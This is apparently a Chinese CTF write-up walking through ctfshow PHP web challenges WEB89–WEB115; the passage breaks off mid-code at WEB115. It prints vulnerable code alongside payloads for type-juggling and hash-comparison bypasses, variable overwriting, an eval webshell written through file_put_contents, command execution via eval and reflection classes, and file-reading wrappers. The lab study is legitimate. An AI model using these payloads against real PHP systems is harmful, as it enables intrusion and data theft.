WEB89(数组绕过正则)

  1. include("flag.php");
  2. highlight_file(__FILE__);
  3. if(isset($_GET['num'])){
  4. $num = $_GET['num'];
  5. if(preg_match("/[0-9]/", $num)){
  6. die("no no no!");
  7. }
  8. if(intval($num)){
  9. echo $flag;
  10. }
  11. }

echo intval(array()); // 0
我们尝试构造数组绕过 ?num[]=1

WEB90(intval()+强比较)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){   # 这个4476是带双引号的,是作为一个字符串来比较
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

image.png
image.png
117c(十六进制) = 4476(十进制)
===:完全**等于**运算,不仅比较值,而且还比较值的类型,只有两者一致才为真。
?num=0x117c(如果不加0x,会显示117,intval会把非数字丢弃掉作为十进制;0x开头它会把后面的连起来作为一个十六进制)

WEB91(正则修饰符)

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){   #  ^php$表示以php开头以php结尾,也就只能是php
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono
正则表达式m修饰符:

m修饰符规定正则表达式可以执行多行匹配。
m修饰符的作用是修改^和$在正则表达式中的作用,让它们分别表示行首和行尾。
在默认状态下,一个字符串无论是否换行只有一个开始^和结尾$,如果采用多行匹配,那么每一个行都有一个^和结尾$。

payload:?cmd=%0aphp
注:%0a是换行的意思

解释:如果我们输入的是%0aphp,那么在文本形式的匹配中会显示 换行php

image.png
Hint:
考查:正则表达式是匹配方法 https://blog.csdn.net/qq_46091464/article/details/108278486 (Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展)
可以通过 %0a 绕过 payload: abc%0aphp

WEB92(intval()+弱比较)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这道题与web90不同的是,这里是==,不是===
php中有两种比较符号===和==:
===在比较的时候会先判断两种字符串的类型是否相同,再进行比较(比较两个变量的值和类型;)
==在进行比较的时候,会先将字符串类型转换成相同类型,再进行比较(比较两个变量的值,不比较数据类型
image.png
注意:这里没有二进制,因为二进制可能会跟八进制重复,因为八进制是0开头,二进制也可能是0开头,它分不清哪个是格式,哪个是数据【但是经过测试发现二进制也是可以的啊】
hint:
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
payload:?num=4476e666 (hint说其他字母也可以,但是在测试的时候发现只能是e才可以拿到flag)
本题也可以使用:payload:?num=0x117c(同web90)

intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   空格+8进制
intval('+010574')===4476
intval('%2b010574')===4476
intval(4.2);  //4 取整数部分

WEB93(八进制与小数点)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

hint:
过滤了字母但是我们可以使用其他进制
就是计算 八进制 0X?? : 16进制 payload : ?num=010574
image.png
?num=4476E1234 (X) 字母过滤了
?num=0x117c(x)十六进制弄不了
试试八进制:?num=010574(√)
试试二进制:?num=0b0001000101111100(x) 二进制不行,我觉得是因为有b,我不知道这个是不是连通b一起解析为数字。。。

WEB94(八进制与小数点)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){   # 查找0在$num中第一次出现的位置(不区分大小写)
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

if(!strpos($num, “0”)) 就die,就说明里面要出现0
preg_match(“/[a-z]/i”, $num) 就no,说明不能是字母
if($num===”4476”)就no,说明不能直接传入4476

Hint:
在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0

其他师傅的解法:

对于strpos()函数,我们可以利用换行进行绕过(%0a)
payload:?num=%0a010574

也可以小数点绕过
payload:?num=4476.0

因为intval()函数只读取整数部分
还可以八进制绕过(%20是空格的url编码形式)
payload:?num=%20010576

WEB95(加号和空格)

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){  // 弱类型比较,如果num为_4476,以下划线开头,弱类型,0和4476不相等
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){  //必须要有0才能绕过
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这道题与上面一题的区别是 if($num==4476),这里的4476是数字,不是字符串
Hint:
可以通过8进制绕过但是前面必须多加一个字节 ?num=+010574或者?num=%2b010574 (%2b是+)或者?num=%20010574

为什么使用加号和空格可以呢?
  因为加号提交过去解码也是一个空格
  intval对加号和空格开头的会作为一个删除或者作为一个正数来处理

知识点:PHP弱类型比较

php中其中两种比较符号:
==:先将字符串类型转化成相同,再比较
===:先判断两种字符串的类型是否相等,再比较
字符串和数字比较使用==时,字符串会先转换为数字类型再比较
var_dump('a' == 0);//true,此时a字符串类型转化成数字,因为a字符串开头中没有找到数字,所以转换为0
var_dump('123a' == 123);//true,这里'123a'会被转换为123
var_dump('a123' == 123);//false,因为php中有这样一个规定:字符串的开始部分决定了它的值,如果该字符串以合法的数字开始,则使用该数字至和它连续的最后一个数字结束,否则其比较时整体值为0。

举例:
var_dump('123a1' == 123);//true
var_dump('1233a' == 123);//false

==为弱相等,也就是说12=="12" --> true,而且12=="12cdf" --> true,
只取字符串中开头的整数部分,但是1e3dgf这样的字符串在比较时,取的是符合科学计数法的部分:1e3,也就是1000.

<、>、<=、>=都存在和==相同的弱类型

WEB96(考察路径问题,字符串弱类型)

highlight_file(__FILE__);
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){  # 字符串的弱类型
        die("no no no");
    }else{
        highlight_file($_GET['u']);
      //高亮和包含不一样,高亮类似将文本数据读入,然后识别里面的关键字,加入css样式,混合起来输出
    }
}

u=./flag.php(当前目录下的flag.php)
在根目录下没有看到flag.php,在当前目录

考察点:路径问题
下面方式在highlight_file中均等效于flag.php,也即本题的payload

/var/www/html/flag.php              绝对路径
./flag.php                          相对路径
php://filter/resource=flag.php      php伪协议  
还有其他姿势,比如:
u=/var/www/html/../html/flag.php 
u=/var/www/html/../html/../../../../../ctfshow/../../var/www/html/flag.php

WEB97(md5强类型与数组绕过)

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

本题要求post传入的a和b不能相等,但是他们的md5值要完全相等
这考察的是md5强类型,找两个不一样的值但是md5相同

md5碰撞(但是没有得到flag,不知道什么原因)
payload: a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

Hint:其他payload
要使a b不同的情况下a和b的md5相同,肯定要用对象了(数组也是对象)
通过数组绕过 a[]=1&b[]=2(md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。)

WEB98(三元运算符和变量覆盖)

include("flag.php");
$_GET?$_GET=&$_POST:'flag'; //如果存在GET请求,则将POST请求覆盖GET请求,否则返回flag字符串($_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址))
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; //如果get传入的值为flag,就返回cookie
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; //如果get传入的值为flag,返回服务器和执行环境信息
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);//说GET传参HTTP_FLAG的值为flag,则读取$flag,否则取得当前文件的绝对地址
?>

这是PHP的三目运算符:

1. (expr1)?(expr2):(expr3);
=> 表达式1 ? 表达式2 : 表达式3
=> 如果条件“expr1”成立,则返回“expr2”,否则返回“expr3”。

2. (expr1)?:(expr2);
=> 这个是php5.3开始才有的功能
=> 如果条件“expr1”成立,则返回“expr1”,否则“expr2”。

GET传参: ?flag=6666
POST传参:HTTP_FLAG=flag(因为存在GET请求,会将POST请求覆盖GET请求)

WEB99(★考察PHP弱类型比较)

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {       #0x36d是877
    array_push($allow, rand(1,$i));   #入栈  rand产生随机数
}
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){   //in_array() 函数搜索数组中是否存在指定的值
    file_put_contents($_GET['n'], $_POST['content']);  //把一个字符串写入文件中,第一个参数是文件名,第二个参数是数据
}

考察点PHP弱类型比较:

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false

二分法(得到1-469之间都能写入)
get: n=123.php (文件名在)
post: content=<?php eval($_REQUEST[‘hack’]);?>
image.png

image.png
image.png

WEB100(命令执行)

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); #v1必须是数字,才能走下面的判断
if($v0){
    if(!preg_match("/\;/", $v2)){  # 不能包含分号
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}
?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19

v1必须是数字才能进入第一个判断,v1=1
eval(“$v2(‘ctfshow’)$v3”); 有个括号,把这个函数写死了
我们可以使用var_dump打印一下ctfshow这个变量:v2=var_dump ——》eval(“var_dump(‘ctfshow’)$v3”);
又必须有分号:v3=;
故:/?v1=1&v2=var_dump&v3=; (显示string(7) “ctfshow”)
image.png
我们直接v2=phpinfo();看一下,用# 把括号注释掉:v2=phpinfo();#,又因为v2里面不能有分号,又要有注释,我们直接闭合:v2=phpinfo()?>,因为PHP最后一条语句可以不用分号。
也就是:/?v1=1&v2=phpinfo()?>&v3=;
image.png
那么可以说明我们可以直接RCE了:/?v1=1&v2=eval($_POST[1])?>&v3=;
这时候我们再进行随意的无过滤的RCE:
image.png
image.png
这个直接用蚁剑就行,一个个翻文件!
发现在ctfshow.php:
image.png
ctfshow{22785a78-9c25-4890-8949-e5a8ee585ce3}
ctfshow括号里面的flag一共36位

WEB101(★反射类)

修补100题非预期,替换0x2d

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

这次不让getshell了,基本上把数字和特殊字符都ban完了
这时候反射一下ctfshow这个类就行了,因为这个类已经注册了
反射类很好理解,就是利用这个函数把类反射出来,就像是赋值一样,这样直接输出这个反射类就能得到原来的类

反射类:
比如有三个类:
new ctfshow1();
new ctfshow2();
new ctfshow3();
我们代码里面知道这个逻辑后面的话我们要用1/2/3,我们可以写ctfshow1()/ctfshow2()/ctfshow3()
但是会有这样一种情况,就是说反序列化的时候,哪个类是不固定的,某种情况下是1,某种情况下是2...
比如有时候可能根据用户的输入,比如用户输入a,经过后台的一个逻辑它可能推导出,这时候要处理a,可能要用到ctfshow1这个类
但是代码里面不知道用户要说什么,逻辑是什么,他只知道这个逻辑关系是什么,所以它这个时候需要这样做:
  比如说我们声称ctfshow1它只是一个字符串,那么我要动态生成不定名字的类怎么办呢?只能用反射类:
  new Refectionclass("ctfshow1"),它反射来就是根据一个字符串来创建一个类,它跟反序列化还不一样
  这里类名是动态的,反序列的话类名基本是静态的

image.png
[ public $flag_d04f1cdb0x2d7f280x2d45ef0x2d93710x2d8763e63a519 ]
这时候类的属性就拿到了,它是一个公有属性public,叫flag,值是d04f1cdb0x2d7f280x2d45ef0x2d93710x2d8763e63a519
ctfshow{d04f1cdb-7f28-45ef-9371-8763e63a519} 发现flag的位数少一位,ctfshow中flag是36位,这里只有35位,我们就需要爆破了(最多36次[0-9]/[a-z])
我们 的思维要尽可能的发散!才能提升自己
image.png
最后一位试到4的时候发现提交成功!

WEB102(★回调函数、经base64与bin2hex后全为数字)

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
//v3是可控的
$v4 = is_numeric($v2) and is_numeric($v3);//这里是个判断,优先级是先$v4 = is_numeric($v2) 再is_numeric($v3),所以v3的值是不影响v4的,所以只要v2是数字的话就可以满足这个条件,进入写文件的判断
if($v4){
  //调用的参数$s是v2第三位开始的后面的数字(只能是数字,而且是从你提交后面的第三位开始的数字,所以v2肯定要填充两个无用字符)
    $s = substr($v2,2);   //返回字符串的子串  比如substr("abcdef", -1); 就返回 "f"
    $str = call_user_func($v1,$s);  //把第一个参数作为回调函数调用,第二个参数是传入回调函数的,v1不用带括号,v1如果是phpinfo就是phpinfo();
    echo $str;
    file_put_contents($v3,$str); //将整个文件读入一个字符串,文件名可控,文件内容部分可控,就是要构造一个方法来解析我们传入的一个数字来写马
}
else{
    die('hacker');
}
?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14
Notice: Undefined index: v2 in /var/www/html/index.php on line 15
Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

预期解:

Hint:
  GET
  v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php  #通过过滤器对我们写的内容进行过滤
  POST
  v1=hex2bin
  #访问1.php后查看源代码获得flag

 //115044383959474e68644341715944,首先hex转字符串PD89YGNhdCAqYD——》base64解后是<?=`cat *` 必须用谷歌hackbar解码
这个字符串很精妙,还没构建出第二个既满足命令执行的,又满足能够是数字的(还是个科学计数法的数字,里面有个e,如果是别的字母就过不了判断)
    前面两个11是填充的字符串

在7.1以下版本,0x开头的字符串也是作为一个数字
查看版本:7.3.11(0x开头的字符串不支持)
image.png

就是5044383959474e68644341715944这个数字它通过某种函数,先转化为字符串再是转化为base64解码就会写到我们要求的东西,我们看到题目只能调用一次,那么肯定是通过十六进制转二进制的函数hex2bin
image.png
image.png
我们再访问1.php,查看源代码得到flag

总结:

总思路:
(v2从第三位开始所有的值作为v1函数的参数)->把v3作为文件名传入,
  既然往进写文件,那就可以写一个php的一句话木马或者是命令执行,
  那一句话木马如何只作为数字并且经过函数又正常执行呢,
  那一定是16进制和hex2bin,本以为这样就可以了,可能是因为php的原因,
  这里0x在is_numeric面前根本通不过,而且hex2bin也不允许有0x,
  所以这里还得再加一层base64,给文件内容进行base64加密
  然后v3利用php://filter/write=convert.base64-decode/resource伪协议把命令写进去,

WEB103(回调函数、经base64与bin2hex后全为数字)

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14
Notice: Undefined index: v2 in /var/www/html/index.php on line 15
Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

字符串里面不能有PHP,PHP拆开分开都不行
我们上一题也没有用到php,我们直接用上一题解法也成功拿到flag!

WEB104(sha1碰撞/哈希缺陷/数组绕过)

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

==弱类型
只需要传入的v1和v2的sha1一样就行,那我们可以传入两个一样的值啊
直接拿到flag:
image.png
或者:考察的是哈希缺陷

aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

本道题也可以用数组绕过

WEB105(★变量覆盖,好好理解一下)

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>
你还想要flag嘛?

  大概意思是:
  第一步:给小猫起名字为小狗——》    suces->flag
  第二步:给小牛起名字为小猫——》    error->suces
  第三步:打印小牛的值——》         die $error
  小牛的名字就叫小狗

image.png
Hint:
考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=suces
就相当于:

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $suces=$flag;
}
foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $error=$suces;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);  //suces=$flag输出flag

WEB106(哈希缺陷/数组绕过)

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

这里比较了v1和v2的值,这点不同于web104,我们就需要利用哈希比较权限
PHP在处理哈希字符串时,通过!=或==来对哈希值进行比较,它把每一个以0e开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以0e开头的,那么PHP将会认为他们相同,都是0

“MD5与SHA1都是Hash算法,MD5输出是128位的,SHA1输出是160位的,MD5比SHA1快,SHA1比MD5强度高。”

我们只需要找出两个数的md5加密之后都以0e开头即可,如下:

aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

所以构造v1=aaK1STfY&v2=aaO8zKZF即可绕过
image.png

数组绕过:
image.png

WEB107(★parse_str变量覆盖)

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}

image.png
简而言之parse_str()就是把输入的字符串解析到变量中,如果变量已经存在,就直接覆盖,那这里我们v1 v2的值就是任意传,那给flag传一个md5(v3)的值就是了
举例:

$a='q=123&p=456';
parse_str($a,$b); //输入的字符串解析到变量中
echo $b['q'];   //输出123
echo $b['p'];   //输出456

如果parse_str($v1,$v2);
v2=flag=c4ca4238a0b923820dcc509a6f75849b
  也就是:parse_str($v1,$v2);
这样$v2['flag']=c4ca4238a0b923820dcc509a6f75849b=md5($v3)

payload:

GET
?v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b(这是“1”的md5的32位小写)
  //这里是v1不是v2  因为parse_str是输入将的字符串解析到变量中

image.png

其他payload:
get:v3[]=1
post: v1=

if($v2['flag']==md5($v3))
如果我们不提交flag,v3给一个数组,返回null
null==null
返回flag

其他payload2:
GET:?v3=240610708(md5以0e开头,e为科学计数法,0的多少次方还是0)
POST: v1=flag=0

WEB108(ereg()函数%00截断)

highlight_file(__FILE__);
error_reporting(0); //关闭错误报告
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  { //这个要匹配到返回true===false,false才可以绕过
    die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){//strrev用于反转字符串,返回值是反转后的字符串//0x36d是十进制877
    echo $flag;
}
?>
error
//所以c的值要以字母开头和以字母结尾

image.png
image.png
这里用到两个知识点
1、ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
2、intval()函数遇到非数字字符就会停止识别, 877aa识别为877

payload:
?c=a%00778
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,通过正则表达式检测后,后面再通过反转函数变成877%00a,再用intval函数获取整数部分得到877,而877为0x36d的10进制

Q:是不是URL编码就能绕过一些过滤?
比如我过滤P,PHP的P,那么我能不能提交一个url编码的P(%70)
绕过过滤了P我能不能提交%70来绕过呢?不行
为什么payload里面有百分号多少多少?因为不可见字符,不可见字符我没办法输入呀
只能通过它的url编码来确保我们有这个字符
比如截断,截断是空字符,C语言最后一个字符串以它结束,因为PHP也是C语言写的
C语言看到%00就认为这个字符串结束,这个字符串结束之后没东西,然后就可以绕过匹配

WEB109(★反射类(巧)/处理异常类)

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}

出题人思路:

eval("echo new $v1($v2());");
肯定是一个内置类,phpinfo中有时候能看到一些扩展类,比如curl或者zip,如果不开启的话是没有这些扩展的
当然也就没有这个类了
我们可以将v1给一个类

//只要是变量后面紧跟着(),那么对这个变量进行函数调用
//$a='phpinfo';$a();

v1=exception&v=system('echo phpinfo')会出现phpinfo,可以RCE

看到这题首先其实我想到的是web101的反射类,因为看到了echo new… 想到了echo new Refleactionclass
即payload:?v1=ReflectionClass&v2=system(‘cat fl.txt’) (不用分号)
就是echo new ReflectionClass(system(‘cat fl
.txt’)())

原理:参考:https://blog.csdn.net/Xxy605/article/details/110109147
当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示
即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错

<?php
    error_reporting(0);
    eval(echo new ReflectionClass(system('ls')()));
?>

>>index.php

image.png
或者直接访问fl36dg.txt即可
image.png
方法2:
这里通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)
?v1=Exception&v2=system(‘tac fl*’)
image.png

WEB110(★FilesystemIterator类读取文件)

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

v1和v2都过滤了很多特殊字符
同样试一下反射类:v1=Reflectionclass&v2=system(‘ls’) # 不行,因为等号、单引号、&全部过滤了
同理使用异常处理类也不行

看wp是利用FilesystemIterator,可以使用FilesystemIterator迭代器遍历目录
image.png
FilesystemIterator就是一个读取目录下文件名的,如果参数能给一个/就能读取当前目录所有文件,这里符号都不能用了,这里php中的getcwd()可以帮我们替代/。
payload:?v1=FilesystemIterator&v2=getcwd 得到:fl36dga.txt
直接访问fl36dga.txt得到flag

这道题我们学到了两个内置类的用法:
filesystemIterator 遍历文件类
directoryIterator 遍历目录类
以后遍历文件和变量目录就多了个选择

WEB111(★GLOBALS全局变量覆盖)

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;"); //变量覆盖
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }

    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}

v1和v2都过滤了很多,v1中要有ctfshow
首先需要v1含有ctfshow才能过正则,执行getflag函数,所以v1=ctfshow,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

例如
$a=123;
$b=456;
var_dump($GLOBALS);

因此我们只需要把 $GOLBALS 的值赋给 v2 , v2 的值再赋给 v1 即可

?v1=ctfshow&v2=GLOBALS
图片.png

WEB112( php伪协议绕过is_file+highlight_file对于php伪协议的使用 )

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
is_file函数
is_file() 函数检查指定的文件是否是常规的文件。

语法
is_file(file)

1、直接使用伪协议读取
payload:file=php://filter/resource=flag.php
        file=compress.zlib://flag.php

2、加上未被过滤的编码方式
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
        file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

is_file和highlight函数都是支持伪协议的,可以利用伪协议构造一个不存在的文件
is_file函数可以使用包装区 伪协议来绕过
不影响file_get_contents highlight_file读文件
图片.png
图片.png
图片.png

WEB113(/proc/self/root绕过is_file)


highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

试试上一题的file=compress.zlib://flag.php,得到flag
但是zlib换成bzip2是不行的

Hint:

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php(目录溢出)


在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,
其实显示的内容是根目录下的内容
多次重复后绕过is_file的具体原理尚不清楚,希望有师傅解答下。

图片.png

WEB114(filter协议利用)

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));//highlight_file不能高亮数组
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!

本题用上面的两种方法都不能解出来,因为zip和root都ban了!
居然没过滤filter:
php://filter/resource=flag.php
得到flag啦!我想出来的是预期解,我是小菜鸡
还可以使用目录溢出(x)root被ban

WEB115( ★trim函数+is_numeric利用%0c绕过)

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);//把$num中的"0x"替换成"1"
    $num=str_replace("0","1",$num);//把$num中的"0"替换成"1"
    $num=str_replace(".","1",$num);//把$num中的"."替换成"1"
